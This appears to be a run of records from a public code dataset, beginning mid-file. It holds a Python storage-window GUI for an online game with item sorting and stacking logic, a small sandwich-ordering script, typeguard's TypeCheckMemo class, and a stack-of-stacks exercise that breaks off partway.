:\n\t\t\"\"\"\n\t\t初始化仓库按钮\n\t\t\"\"\"\n\t\tself.__btnsGroup = SelectorGroup()\n\t\tself.__btnsGroup.onSelectChanged.bind( self.__onBagSelected )\n\t\tfor name, btn in panel.children :\n\t\t\tif \"btn_\" not in name : continue\n\t\t\tindex = int( name.split( \"_\" )[1] )\n\t\t\tpyBagBtn = SelectableButton( btn )\n\t\t\tpyBagBtn.setStatesMapping( UIState.MODE_R4C1 )\n\t\t\tpyBagBtn.disableForeColor = 237,230,155, 100\n\t\t\tpyBagBtn.enable = False\n\t\t\tpyBagBtn.bagIndex = index\n\t\t\tlabelGather.setPyBgLabel( pyBagBtn, \"StoreWndRole:Panel\", self._DEF_PACKAGE_NAME[index] )\n\t\t\tself.__btnsGroup.addSelector( pyBagBtn )\n\t\tself.__btnsGroup.pyCurrSelector = self.__getPyBagBtn( 0 )\t\t# 默认选中第一个仓库位\n\n\tdef __initSortBox( self, panel ) :\n\t\t\"\"\"\n\t\t初始化排序窗口\n\t\t\"\"\"\n\t\ttempMap = (\n\t\t\t\t\t( 0, \"sbtext_type\", self.__sortByType ),\n\t\t\t\t\t( 1, \"sbtext_quality\", self.__sortByQuality ),\n\t\t\t\t\t( 2, \"sbtext_price\", self.__sortByPrice ),\n\t\t\t\t\t( 3, \"sbtext_level\", self.__sortByLevel ),\n\t\t\t\t\t)\n\t\tself.__sortBox = ODComboBox( panel.sortCB )\n\t\tself.__sortBox.autoSelect = False\n\t\tself.__sortBox.ownerDraw = True\n\t\tself.__sortBox.pyBox_.foreColor = 236, 218, 157\n\t\tself.__sortBox.onViewItemInitialized.bind( self.onInitialized_ )\n\t\tself.__sortBox.onDrawItem.bind( self.onDrawItem_ )\n\t\tself.__sortBox.onItemLClick.bind( self.__onSort )\n\t\tlabelGather.setPyBgLabel( self.__sortBox.pyBox_, \"StoreWndRole:Panel\", \"sbtext_option\" )\n\t\tfor index, sortText, handler in tempMap :\n\t\t\tself.__sortBox.addItem( labelGather.getText( \"StoreWndRole:Panel\", sortText ) )\n\t\t\tself.__sortHandlerMap[index] = handler\n\n\tdef onInitialized_( self, pyViewItem ):\n\t\tpyLabel = StaticLabel()\n\t\tpyLabel.crossFocus = True\n\t\tpyLabel.foreColor = 236, 218, 157\n\t\tpyLabel.h_anchor = \"CENTER\"\n\t\tpyViewItem.addPyChild( pyLabel )\n\t\tpyViewItem.pyLabel = pyLabel\n\t\n\tdef onDrawItem_( self, pyViewItem ):\n\t\tpyPanel = pyViewItem.pyPanel\n\t\tif pyViewItem.selected :\n\t\t\tpyViewItem.pyLabel.foreColor = pyPanel.itemSelectedForeColor\t\t\t# 选中状态下的前景色\n\t\t\tpyViewItem.color = pyPanel.itemSelectedBackColor\t\t\t\t# 选中状态下的背景色\n\t\telif pyViewItem.highlight :\n\t\t\tpyViewItem.pyLabel.foreColor = pyPanel.itemHighlightForeColor\t\t# 高亮状态下的前景色\n\t\t\tpyViewItem.color = pyPanel.itemHighlightBackColor\t\t\t\t# 高亮状态下的背景色\n\t\telse :\n\t\t\tpyViewItem.pyLabel.foreColor = pyPanel.itemCommonForeColor\n\t\t\tpyViewItem.color = pyPanel.itemCommonBackColor\n\t\tpyLabel = pyViewItem.pyLabel\n\t\tpyLabel.width = pyViewItem.width\n\t\tpyLabel.foreColor = 236, 218, 157\n\t\tpyLabel.left = 1.0\n\t\tpyLabel.top = 1.0\n\t\tpyLabel.text = pyViewItem.listItem\n\n\t# -------------------------------------------------\n\t# function\n\t# -------------------------------------------------\n\tdef __onBagSelected( self, pyBagBtn ) :\n\t\t\"\"\"\n\t\t选取某个包裹\n\t\t\"\"\"\n\t\tbagIndex = pyBagBtn.bagIndex\n\t\tself.__pyBagName.text = pyBagBtn.text\n\t\tself.__setBagAmount( bagIndex )\n\t\tbag = self.__storage.get( bagIndex, {} )\n\t\tbagAddress = bagIndex * csdefine.KB_MAX_SPACE\n\t\tfor index, pyItem in self.__pyItems.iteritems() :\n\t\t\titemInfo = bag.get( bagAddress + index, None )\n\t\t\tpyItem.update( itemInfo )\n\n\tdef __ChangeName( self, key, mods ) :\n\t\t\"\"\"\n\t\t按回车就保存自定义名称\n\t\t\"\"\"\n\t\tif key == KEY_RETURN and mods == 0:\n\t\t\ttext = self.__pyBagName.text.strip()\n\t\t\tif text == \"\":\n\t\t\t\t# \"您输入的名称无效,请重新输入。\"\n\t\t\t\tself.__showMsg( mbmsgs[0x0801] )\n\t\t\telif self.__pyBagName.length > 8:\n\t\t\t\tself.__showMsg( mbmsgs[0x0804] )\n\t\t\telif not rds.wordsProfanity.isPureString( text ):\n\t\t\t\t# \"名称不合法!\"\n\t\t\t\tself.__showMsg( mbmsgs[0x0802] )\n\t\t\telif rds.wordsProfanity.searchNameProfanity( text ) is not None :\n\t\t\t\t# \"输入的名称有禁用词汇!\"\n\t\t\t\tself.__showMsg( mbmsgs[0x0803] )\n\t\t\telse :\n\t\t\t\tcurrBagIndex = self.currBagIndex\n\t\t\t\tif currBagIndex > -1 :\n\t\t\t\t\tself.__pyBagName.tabStop = False\n\t\t\t\t\tBigWorld.player().base.bank_changeName( currBagIndex, text )\n\t\t\treturn True\n\t\treturn False\n\n\tdef __getPyBagBtn( self, bagIndex ) :\n\t\t\"\"\"\n\t\t获取和背包对应的按钮\n\t\t\"\"\"\n\t\tpyBagBtns = self.__btnsGroup.pySelectors\n\t\tfor pyBagBtn in pyBagBtns :\n\t\t\tif pyBagBtn.bagIndex == bagIndex :\n\t\t\t\treturn pyBagBtn\n\t\treturn None\n\n\tdef __getBagAmount( self, bagIndex ) :\n\t\t\"\"\"\n\t\t获取某个仓库包裹的物品个数\n\t\t\"\"\"\n\t\treturn len( self.__storage.get( bagIndex, {} ) )\n\n\tdef __setBagAmount( self, bagIndex ) :\n\t\t\"\"\"\n\t\t显示某个包裹的物品数量\n\t\t\"\"\"\n\t\tamount = self.__getBagAmount( bagIndex )\n\t\tlabelGather.setPyLabel( self.__pyItemsAmount, \"StoreWndRole:Panel\", \"stItemNum\", amount )\n\n\tdef __showMsg( self, msg ) :\n\t\tdef query( res ) :\n\t\t\tself.__pyMsgBox = None\n\t\tif self.__pyMsgBox is None :\n\t\t\tself.__pyMsgBox = showMessage( msg, \"\", MB_OK, query, self )\n\t\telse :\n\t\t\tself.__pyMsgBox.show( msg, \"\", query, self )\n\n\t# -------------------------------------------------\n\t# sort about\n\t# -------------------------------------------------\n\tdef __moveItemForSort( self, bagIndex ) :\n\t\t\"\"\"\n\t\t物品排序中,交换物品\n\t\t\"\"\"\n\t\tself.__operateCounter -= 1\n\t\tif self.__operateCounter > 0 : return\t\t\t\t\t\t\t\t\t# 判断是服务器是否已处理完并返回了\n\n\t\tif not self.__combineSortedItems( bagIndex ) :\t\t\t\t\t\t\t# 如果还有物品需要叠加,则不进行移动操作\n\t\t\tself.__moveSortedItems( bagIndex )\t\t\t\t\t\t\t\t\t# 若物品都叠加完毕,则进行物品移动\n\n\tdef __combineSortedItems( self, bagIndex ) :\n\t\t\"\"\"\n\t\t叠加排序的物品\n\t\t@return\t\t: bool,True表示叠加了一个物品,False表示物品叠加完毕\n\t\t\"\"\"\n\t\titemsCombined = self.__sortingItemDict.get( bagIndex, ( None, None ) )[1]\n\t\tif not itemsCombined : return False\n\t\tfor header, stackGroup in itemsCombined.items() :\n\t\t\tif stackGroup :\t\t\t\t\t\t\t\t\t\t\t\t\t\t# 列表不空\n\t\t\t\tstackItem = stackGroup.pop( 0 )\t\t\t\t\t\t\t\t\t# 取第一个进行叠加\n\t\t\t\tsrcItemOrder = stackItem.baseItem.order\n\t\t\t\tdstItemOrder = header.baseItem.order\n\t\t\t\tBigWorld.player().bank_moveItem( bagIndex, srcItemOrder, bagIndex, dstItemOrder )\n\t\t\t\tself.__operateCounter = 2\t\t\t\t\t\t\t\t\t\t# 叠加操作服务器会返回两次\n\t\t\t\treturn True\n\t\t\telse :\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# 否则将该组删去\n\t\t\t\tdel itemsCombined[ header ]\n\t\treturn False\n\n\tdef __moveSortedItems( self, bagIndex ) :\n\t\t\"\"\"\n\t\t移动排序的物品\n\t\t@return\t\t: bool,True表示移动了一个物品,False表示物品移动完毕\n\t\t\"\"\"\n\t\titemsSorted = self.__sortingItemDict.get( bagIndex, ( None, None ) )[0]\n\t\tif itemsSorted is None : return False\n\t\tbagItems = self.__storage.get( bagIndex, {} )\n\t\tbagAddress = bagIndex * csdefine.KB_MAX_SPACE\n\t\twhile itemsSorted :\n\t\t\tsrcItem = itemsSorted.pop( 0 )\n\t\t\tsrcItemOrder = srcItem.baseItem.order\n\t\t\tdstItemOrder = bagAddress + len( itemsSorted )\n\t\t\twhile srcItemOrder != dstItemOrder :\n\t\t\t\tdstItem = bagItems.get( dstItemOrder, None )\n\t\t\t\tif dstItem and dstItem.id == srcItem.id and \\\n\t\t\t\tsrcItem.baseItem.isBinded() == dstItem.baseItem.isBinded() and \\\n\t\t\t\tdstItem.amount == srcItem.amount :\t\t\t\t\t\t\t# 由于是先叠加了,所以这里如果数量相等则必然\n\t\t\t\t\tif dstItem in itemsSorted :\t\t\t\t\t\t\t\t# 都是满的,不必再交换,直接检查下一个位置\n\t\t\t\t\t\titemsSorted.remove( dstItem )\n\t\t\t\t\tdstItemOrder -= 1\t\t\t\t\t\t\t\t\t\t# 检查上一个位置的物品,减是因为反序了\n\t\t\t\telse :\n\t\t\t\t\tBigWorld.player().bank_moveItem( bagIndex, srcItemOrder, bagIndex, dstItemOrder )\n\t\t\t\t\tself.__operateCounter = 1\n\t\t\t\t\treturn True\n\t\telse :\n\t\t\tINFO_MSG( \" Sort complete!\" )\n\t\t\tdel self.__sortingItemDict[ bagIndex ]\n\t\treturn False\n\n\t# -------------------------------------------------\n\tdef __classifyForSort( self, sortItems ) :\n\t\t\"\"\"\n\t\t对可叠加物品进行分类,以便知道哪些物品需要叠加,哪些不需要\n\t\t排序算法大致思想:\n\t\t1、先分类找出所有能够叠加的物品,然后根据一组的叠加上限按叠加顺序\n\t\t 进行分组,这里的叠加算法并不是最优算法;\n\t\t2、经过分组后,每组的第一个物品作为头结点,以让同组其他物品叠加到\n\t\t 它身上,该头结点同其他不能进行叠加的物品一起参加排序;\n\t\t3、将整理好的物品按先叠加后移位的顺序发向服务器,每发送一个之后等\n\t\t 待服务器返回再继续下一个,因为服务器的返回可能导致物品的数量、\n\t\t 位置等属性发生改变,因此必须得等服务器返回才能继续下一个;\n\t\t说明:该排序算法针对服务器端仓库对物品移位、交换的操作反馈编写,\n\t\t没有任何独立性,将来服务器的返回改变了,排序算法还得作相应修改。\n\t\t\"\"\"\n\t\titemsCombined = MapList()\t\t\t\t\t\t\t\t\t\t# 保存用来叠加的物品(有序的字典,一定要按顺序叠加)\n\t\titemsSorted, combinedGroups = self.__collect( sortItems )\n\t\tfor groupItems in combinedGroups.itervalues() :\n\t\t\tstackGroups = self.__splitToStack( groupItems )\n\t\t\tfor subGroup in stackGroups :\n\t\t\t\theader = subGroup.pop( 0 )\n\t\t\t\titemsSorted.append( header )\t\t\t\t\t\t\t# 叠加源物品也参加排序\n\t\t\t\tif subGroup :\t\t\t\t\t\t\t\t\t\t\t# 2个以上的物品才需叠加\n\t\t\t\t\titemsCombined[ header ] = subGroup\n\t\treturn itemsSorted, itemsCombined\n\n\tdef __splitToStack( self, groupItems ) :\n\t\t\"\"\"\n\t\t将需���叠加的物品分为几个叠加组,以保证每一组叠加后最多刚好满一组\n\t\t\"\"\"\n\t\tstackGroups = []\t\t\t\t\t\t\t\t\t\t\t\t# 保存分组\n\t\ttotalAmount = 0\t\t\t\t\t\t\t\t\t\t\t\t\t# 保存当前类别物品的总数\n\t\tstackUpperLimit = groupItems[0].baseItem.getStackable()\n\t\tfor item in groupItems :\n\t\t\tresidualAmount = totalAmount % stackUpperLimit\n\t\t\ttotalAmount += item.amount\n\t\t\tif residualAmount == 0 :\t\t\t\t\t\t\t\t\t# 如果之前刚好满一组\n\t\t\t\tstackGroups.append( [ item ] )\t\t\t\t\t\t\t# 则创建一个新的分组\n\t\t\telse :\n\t\t\t\tlastGroup = stackGroups[-1]\t\t\t\t\t\t\t\t# 取出最后一个分组\n\t\t\t\tlaterAmount = residualAmount + item.amount\t\t\t\t# 计算出叠加该物品后的分组物品数量\n\t\t\t\tif laterAmount <= stackUpperLimit :\t\t\t\t\t\t# 如果叠加后依然不满一组\n\t\t\t\t\tlastGroup.append( item )\t\t\t\t\t\t\t# 则把物品加入该分组\n\t\t\t\telse :\t\t\t\t\t\t\t\t\t\t\t\t\t# 如果叠加后超过叠加上限\n\t\t\t\t\tlastGroup.append( item )\t\t\t\t\t\t\t# 则将物品加入该分组\n\t\t\t\t\tstackGroups.append( [ item ] )\t\t\t\t\t\t# 同时以该物品为头结点创建一个新分组\n\t\treturn stackGroups\n\n\tdef __collect( self, itemsList ) :\n\t\t\"\"\"\n\t\t归并可叠加物品,并按照ID将物品分类,同时区分绑定和不绑定物品;\n\t\t将不可叠加物品放到另外的列表中。\n\t\t\"\"\"\n\t\titemsSorted = []\t\t\t\t\t\t\t\t\t\t\t\t# 需要进行排序的物品\n\t\tcombinedGroups = {}\t\t\t\t\t\t\t\t\t\t\t\t# 需要进行叠加的物品\n\t\tfor item in itemsList :\n\t\t\tstackUpperLimit = item.baseItem.getStackable()\n\t\t\tif stackUpperLimit > 1 and item.amount < stackUpperLimit :\t# 可叠加物品\n\t\t\t\tisBinded = item.baseItem.isBinded()\t\t\t\t\t\t# 区分绑定与不绑定\n\t\t\t\tcombineList = combinedGroups.get( ( item.id, isBinded ), [] )\n\t\t\t\tif combineList :\n\t\t\t\t\tcombineList.append( item )\n\t\t\t\telse :\n\t\t\t\t\tcombineList.append( item )\n\t\t\t\t\tcombinedGroups[( item.id, isBinded )] = combineList\n\t\t\telse :\n\t\t\t\titemsSorted.append( item )\t\t\t\t\t\t\t\t# 不可叠加物品参加排序\n\t\treturn itemsSorted, combinedGroups\n\n\t# -------------------------------------------------\n\tdef __onSort( self, selIndex ) :\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tif selIndex < 0:return\n\t\tplayer = BigWorld.player()\n\t\tif player is None: return\n\t\tif not player.inWorld: return\n\t\t# 背包被锁定,直接返回\n\t\tif player._isBankLocked():\n\t\t\tplayer.statusMessage( csstatus.BANK_ITEM_CANNOT_MOVE )\n\t\t\treturn\n\n\t\tcurrBagIndex = self.currBagIndex\n\t\tif self.__sortingItemDict.has_key( currBagIndex ) :\n\t\t\tplayer.statusMessage( csstatus.SYSTEM_IS_BUSY )\n\t\t\treturn\n\t\tINFO_MSG( \" OK, now sort begin!\" )\n\t\tself.__sortBox.pyBox_.text = self.__sortBox.selItem\n\t\tbagItemsList = self.__storage.get( currBagIndex, {} ).values()\n\t\titemsSorted, itemsCombined = self.__classifyForSort( bagItemsList )\n\t\tself.__sortHandlerMap[selIndex]( itemsSorted )\n\t\tself.__sortingItemDict[currBagIndex] = ( itemsSorted, itemsCombined )\n\t\tself.__moveItemForSort( currBagIndex )\n\n\tdef __sortByType( self, itemList ) :\n\t\t\"\"\"\n\t\t按类型排序\n\t\t\"\"\"\n\t\tdef func( item1, item2 ) :\n\t\t\tif item1.id != item2.id :\n\t\t\t\treturn cmp( item1.id, item2.id )\n\t\t\telse :\n\t\t\t\treturn cmp( item1.baseItem.isBinded(), item2.baseItem.isBinded() )\n\t\titemList.sort( cmp = func, reverse = True )\n\n\tdef __sortByQuality( self, itemList ):\n\t\t\"\"\"\n\t\t按品质从高到低排序;同品质按等级从高到低排序;同品质、等级,按id排序。\n\t\t\"\"\"\n\t\tdef func( item1, item2 ) :\n\t\t\tif item1.quality != item2.quality :\n\t\t\t\treturn cmp( item2.quality, item1.quality )\t\t\t\t\t# 先按品质排序\n\t\t\telif item1.level != item2.level :\n\t\t\t\treturn cmp( item2.level, item1.level )\t\t\t\t\t\t# 同品质按等级排序\n\t\t\telif item1.id != item2.id :\n\t\t\t\treturn cmp( item1.id, item2.id )\n\t\t\telse :\n\t\t\t\treturn cmp( item1.baseItem.isBinded(), item2.baseItem.isBinded() )\n\t\titemList.sort( cmp = func, reverse = True )\n\n\tdef __sortByPrice( self, itemList ):\n\t\t\"\"\"\n\t\t按价格从高到低排序;同价格按等级从高到低排序;同价格、等级,按id排序。\n\t\t\"\"\"\n\t\tdef func( item1, item2 ) :\n\t\t\tif item1.price != item2.price :\t\t\t\t\t\t\t\t\t# 先按价格排序\n\t\t\t\treturn cmp( item2.price, item1.price )\n\t\t\telif item1.quality != item2.quality :\n\t\t\t\treturn cmp( item2.quality, item1.quality )\t\t\t\t\t# 同价格按品质排序\n\t\t\telif item1.level != item2.level :\n\t\t\t\treturn cmp( item2.level, item1.level )\t\t\t\t\t\t# 同品质按等级排序\n\t\t\telif item1.id != item2.id :\n\t\t\t\treturn cmp( item1.id, item2.id )\n\t\t\telse :\n\t\t\t\treturn cmp( item1.baseItem.isBinded(), item2.baseItem.isBinded() )\n\t\titemList.sort( cmp = func, reverse = True )\n\n\tdef __sortByLevel( self, itemList ):\n\t\t\"\"\"\n\t\t按等级从高到���排序;同等级按品质从高到低排序;同等级、品质,按id排序。\n\t\t\"\"\"\n\t\tdef func( item1, item2 ) :\n\t\t\tif item1.level != item2.level :\n\t\t\t\treturn cmp( item2.level, item1.level )\t\t\t\t\t\t# 先按等级排序\n\t\t\telif item1.quality != item2.quality :\n\t\t\t\treturn cmp( item2.quality, item1.quality )\t\t\t\t\t# 同等级按品质排序\n\t\t\telif item1.id != item2.id :\n\t\t\t\treturn cmp( item1.id, item2.id )\n\t\t\telse :\n\t\t\t\treturn cmp( item1.baseItem.isBinded(), item2.baseItem.isBinded() )\n\t\titemList.sort( cmp = func, reverse = True )\n\n\n\t# ----------------------------------------------------------------\n\t# public\n\t# ----------------------------------------------------------------\n\tdef onBagNameUpdated( self, bagIndex, name ) :\n\t\t\"\"\"\n\t\t包裹名称改变\n\t\t\"\"\"\n\t\tpyRelativeBtn = self.__getPyBagBtn( bagIndex )\n\t\tif pyRelativeBtn is not None :\n\t\t\tif name == \"\" :\n\t\t\t\tname = labelGather.getText( \"StoreWndRole:Panel\", self._DEF_PACKAGE_NAME[bagIndex] )\n\t\t\tpyRelativeBtn.text = name\n\t\t\tpyRelativeBtn.enable = True\n\t\t\tif self.currBagIndex == pyRelativeBtn.bagIndex :\n\t\t\t\tself.__pyBagName.text = name\n\t\telse :\n\t\t\tERROR_MSG( \"Storage %d not found!\" % bagIndex )\n\n\tdef onItemAdded( self, bagIndex, itemOrder, baseItem ) :\n\t\t\"\"\"\n\t\t添加一个物品到仓库\n\t\t\"\"\"\n\t\tif not self.__storage.has_key( bagIndex ) :\n\t\t\tself.__storage[ bagIndex ] = {}\n\t\titemInfo = self.__storage[ bagIndex ].get( itemOrder, None )\n\t\tif itemInfo is None :\n\t\t\titemInfo = ObjectItem( baseItem )\n\t\t\tself.__storage[ bagIndex ][ itemOrder ] = itemInfo\n\t\telse :\n\t\t\titemInfo.update( baseItem )\n\t\tif bagIndex == self.currBagIndex :\n\t\t\tself.__setBagAmount( bagIndex )\n\t\t\tindex = itemOrder % csdefine.KB_MAX_SPACE\n\t\t\tpyItem = self.__pyItems.get( index, None )\n\t\t\tif pyItem is None :\n\t\t\t\tERROR_MSG( \"Item %d is out of index!\" % index )\n\t\t\t\treturn\n\t\t\tpyItem.update( itemInfo )\n\t\tself.__moveItemForSort( bagIndex )\n\n\tdef onItemSwaped( self, srcBagIndex, srcItemOrder, dstBagIndex, dstItemOrder ) :\n\t\t\"\"\"\n\t\t交换物品的位置\n\t\t\"\"\"\n\t\tif srcBagIndex == dstBagIndex :\n\t\t\tif srcBagIndex == self.currBagIndex :\n\t\t\t\tpySrcItem = self.__pyItems.get( srcItemOrder % csdefine.KB_MAX_SPACE, None )\n\t\t\t\tpyDstItem = self.__pyItems.get( dstItemOrder % csdefine.KB_MAX_SPACE, None )\n\t\t\t\tdstItemInfo = pyDstItem.itemInfo\n\t\t\t\tpyDstItem.update( pySrcItem.itemInfo )\n\t\t\t\tpySrcItem.update( dstItemInfo )\n\n\t\t\tbag = self.__storage[srcBagIndex]\n\t\t\tif bag.has_key( srcItemOrder ) :\n\t\t\t\tif bag.has_key( dstItemOrder ) :\n\t\t\t\t\ttemp = bag[ srcItemOrder ]\t\t\t\t\t\t\t# order的处理比较特殊,order本来是baseItem的属性,\n\t\t\t\t\tbag[ srcItemOrder ] = bag[ dstItemOrder ]\t\t\t# 不应该由ui层来管理,但是出于带宽优化的考虑,交换\n\t\t\t\t\tbag[ srcItemOrder ].baseItem.order = srcItemOrder\t# 时服务器只发送了索引过来,baseItem的属性除了order\n\t\t\t\t\tbag[ dstItemOrder ] = temp\t\t\t\t\t\t\t# 外均不变,因此order在ui层进行设置。\n\t\t\t\t\tbag[ dstItemOrder ].baseItem.order = dstItemOrder\n\t\t\t\telse :\n\t\t\t\t\tbag[ dstItemOrder ] = bag[ srcItemOrder ]\n\t\t\t\t\tbag[ dstItemOrder ].baseItem.order = dstItemOrder\n\t\t\t\t\tdel bag[ srcItemOrder ]\n\t\t\telse :\n\t\t\t\tERROR_MSG( \"Detect that the source item is None!This condition should not appear!\" )\n\t\t\t\tif bag.has_key( dstItemOrder ) :\n\t\t\t\t\tbag[ srcItemOrder ] = bag[ dstItemOrder ]\n\t\t\t\t\tdel bag[ dstItemOrder ]\n\t\t\tself.__moveItemForSort( srcBagIndex )\t\t\t\t\t\t# 如果物品排序还在进行,则继续排序\n\t\telse :\n\t\t\tERROR_MSG( \"Currently it is not supported swapping item between different storage!\" )\n\n\tdef onItemUpdated( self, bagIndex, itemOrder, baseItem ) :\n\t\t\"\"\"\n\t\t更新某个特定背包内特定的物品\n\t\t\"\"\"\n\t\tbag = self.__storage.get( bagIndex, {} )\n\t\tif baseItem is None :\n\t\t\tif bag.has_key( itemOrder ) :\n\t\t\t\tdel bag[ itemOrder ]\n\t\t\telse :\n\t\t\t\tERROR_MSG( \"item %d is not in the storage!\" % itemOrder )\n\t\titemInfo = bag.get( itemOrder, None )\n\t\tif itemInfo is not None :\n\t\t\titemInfo.update( baseItem )\n\t\telif baseItem :\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# 走到这里说明是添加物品,理论上不应该用此接口添加物品\n\t\t\tINFO_MSG( \"Should not use the update method to add a new item of %d at order %d\" % ( baseItem.id, itemOrder ) )\n\t\t\titemInfo = ObjectItem( baseItem )\n\t\t\tbag[ itemOrder ] = itemInfo\n\t\t\tself.__storage[ bagIndex ] = bag\n\t\tif bagIndex == self.currBagIndex :\n\t\t\tpyItem = self.__pyItems[ itemOrder % csdefine.KB_MAX_SPACE ]\n\t\t\tpyItem.update( itemInfo )\n\t\t\tself.__setBagAmount( bagIndex )\n\t\tself.__moveItemForSort( bagIndex )\n\n\tdef onBagActivated( self, bagIndex ) :\n\t\t\"\"\"\n\t\t激活某个仓库\n\t\t\"\"\"\n\t\tpyBagBtn = self.__getPyBagBtn( bagIndex )\n\t\tif pyBagBtn is not None :\n\t\t\tpyBagBtn.enable = True\n\t\telse :\n\t\t\tERROR_MSG( \"Storage button %d not found!\" % bagIndex )\n\n\tdef dispose( self ) :\n\t\tGUIBaseObject.dispose( self )\n\t\tself.__sortHandlerMap = None\n\n\tdef cleanPanel( self ) :\n\t\t\"\"\"\n\t\t清空物品面板,包括所有物品数据\n\t\t\"\"\"\n\t\tself.__storage = {}\n\t\tself.__sortingItemDict = {}\n\t\tfor pyItem in self.__pyItems.itervalues() :\n\t\t\tpyItem.update( None )\n\t\tfor pyBagBtn in self.__btnsGroup.pySelectors :\n\t\t\tpyBagBtn.enable = False\n\t\t\tpyBagBtn.text = labelGather.getText( \"StoreWndRole:Panel\", self._DEF_PACKAGE_NAME[pyBagBtn.bagIndex] )\n\t\t\tif pyBagBtn.bagIndex == 0 :\n\t\t\t\tself.__btnsGroup.pyCurrSelector = pyBagBtn\n\n\n\t# ----------------------------------------------------------------\n\t# property\n\t# ----------------------------------------------------------------\n\tdef _getCurrSelIndex( self ) :\n\t\tpyCurrSelBtn = self.__btnsGroup.pyCurrSelector\n\t\tif pyCurrSelBtn is not None :\n\t\t\treturn pyCurrSelBtn.bagIndex\n\t\treturn -1\n\n\tcurrBagIndex = property( _getCurrSelIndex )\t\t\t\t\t\t# 获取当前选中的背包索引\n","repo_name":"mudsave/csol2_enities_45541","sub_path":"client/guis/general/storewindow/ItemsPanel.py","file_name":"ItemsPanel.py","file_ext":"py","file_size_in_byte":20453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37433304659","text":"#! python3\n\nimport pyinputplus as pyip\n\ndef itemCost(i):\n switcher = {\n 'wheat': 3.00,\n 'white': 2.00,\n 'sourdough': 3.50,\n 'chicken': 1.00,\n 'turkey': 1.25,\n 'ham': 0.75,\n 'tofu': 2.00,\n 'cheddar': 0.50,\n 'Swiss': 0.75,\n 'mozzarella': 0.60,\n }\n return switcher.get(i)\n\n\nprint(\"Select bread:\")\nbread = pyip.inputMenu(['wheat', 'white', 'sourdough'], numbered=True)\nbreadCost = itemCost(bread)\n\nprint(\"Select protein:\")\nprotein = pyip.inputMenu(['chicken', 'turkey', 'ham', 'tofu'], numbered=True)\nproteinCost = itemCost(protein)\n\ncheese = pyip.inputYesNo(\"Do you want cheese (Y/N): \")\nif cheese == 'yes':\n print(\"Select cheese:\")\n cheeseChoice = pyip.inputMenu(['cheddar', 'Swiss', 'mozzarella'], numbered=True)\n cheeseCost = itemCost(cheese)\nelse:\n cheeseChoice = 'none'\n cheeseCost = 0.0\n\nextras = pyip.inputYesNo(\"Do you want mayo, mustard, lettuce, or tomato (Y/N): \")\nif extras == 'yes':\n extrasCost = 1.00\nelse:\n extrasCost = 0.0\n\n\nquantity = pyip.inputInt(\"How many? \")\n\ntotal = (breadCost + proteinCost + cheeseCost + extrasCost) * float(quantity)\n\nprint(f'''\nOrder:\n Bread = {bread} (£{breadCost})\n Protein = {protein} (£{proteinCost})\n Cheese = {cheese}\n Cheese Option = {cheeseChoice} (£{cheeseCost})\n Extras = {extras} (£{extrasCost})\nTotal = £{total}\n''')\n\n\n\n","repo_name":"Adam-Goss/tools-utils","sub_path":"input_validation/sandwich_maker.py","file_name":"sandwich_maker.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3964784647","text":"from __future__ import annotations\n\nfrom typing import Any\n\nfrom typeguard._config import TypeCheckConfiguration, global_config\n\n\nclass TypeCheckMemo:\n \"\"\"\n Contains information necessary for type checkers to do their work.\n\n .. attribute:: globals\n :type: dict[str, Any]\n\n Dictionary of global variables to use for resolving forward references.\n\n .. attribute:: locals\n :type: dict[str, Any]\n\n Dictionary of local variables to use for resolving forward references.\n\n .. attribute:: self_type\n :type: type | None\n\n When running type checks within an instance method or class method, this is the\n class object that the first argument (usually named ``self`` or ``cls``) refers\n to.\n\n .. attribute:: config\n :type: TypeCheckConfiguration\n\n Contains the configuration for a particular set of type checking operations.\n \"\"\"\n\n __slots__ = \"globals\", \"locals\", \"self_type\", \"config\"\n\n def __init__(\n self,\n globals: dict[str, Any],\n locals: dict[str, Any],\n *,\n self_type: type | None = None,\n config: TypeCheckConfiguration = global_config,\n ):\n self.globals = globals\n self.locals = locals\n self.self_type = self_type\n self.config = config\n","repo_name":"agronholm/typeguard","sub_path":"src/typeguard/_memo.py","file_name":"_memo.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":1339,"dataset":"github-code","pt":"69"} +{"seq_id":"40430005134","text":"# Implementar uma pilha de pilhas (spoilers: fica feio pra um cacete!)\r\n\r\nclass Node:\r\n def __init__(self, _data):\r\n self.data = _data\r\n self.nxt = None\r\n \r\n \r\n def to_string(self):\r\n info = f'Nó: {self}\\nValor: {self.data}\\nPróximo: '\r\n \r\n if self.nxt != None:\r\n info += f'{self.nxt.data}'\r\n else:\r\n info += 'None\\n'\r\n \r\n return info\r\n\r\n\r\nclass Stack:\r\n def __init__(self, _size):\r\n self.head = None\r\n self.size = _size\r\n self.top = -1\r\n \r\n \r\n def is_full(self):\r\n if self.top == self.size - 1:\r\n return True\r\n return False\r\n \r\n \r\n def is_empty(self):\r\n if self.top == -1:\r\n return True\r\n return False\r\n \r\n \r\n def find_stack(self, _index):\r\n aux = self.top\r\n stack = self.head\r\n \r\n while aux != _index and stack != None:\r\n aux -= 1\r\n stack = stack.nxt\r\n \r\n if stack != None:\r\n return stack\r\n \r\n print(\"Índice inválido!\")\r\n \r\n \r\n def push(self, _data):\r\n new = Node(_data)\r\n \r\n if self.is_full():\r\n print(\"Stack overflow!\\n\")\r\n else:\r\n if self.head == None:\r\n self.head = new\r\n else:\r\n new.nxt = self.head\r\n self.head = new\r\n \r\n self.top += 1\r\n \r\n \r\n def pop(self):\r\n if self.head == None:\r\n return None\r\n \r\n popped = self.head\r\n self.head = self.head.nxt\r\n popped.nxt = None\r\n \r\n return popped.data\r\n \r\n \r\n def peek(self):\r\n if self.head == None:\r\n return 'None\\n'\r\n return f'{self.head.to_string()}\\n-----------------'\r\n \r\n \r\n def display(self):\r\n aux = self.head\r\n stack_info = \"\"\r\n \r\n if self.is_empty():\r\n print(\"Stack underflow...\\n\")\r\n return\r\n \r\n while aux:\r\n # print(aux.to_string() + '\\n')\r\n stack_info += f'{aux.data} -> '\r\n \r\n aux = aux.nxt\r\n \r\n stack_info += '\\n'\r\n print(stack_info)\r\n\r\n\r\nkstacks = Stack(10) # Instanciando a pilha de pilhas\r\n\r\nkstacks.push(Stack(10)) # Inserindo uma 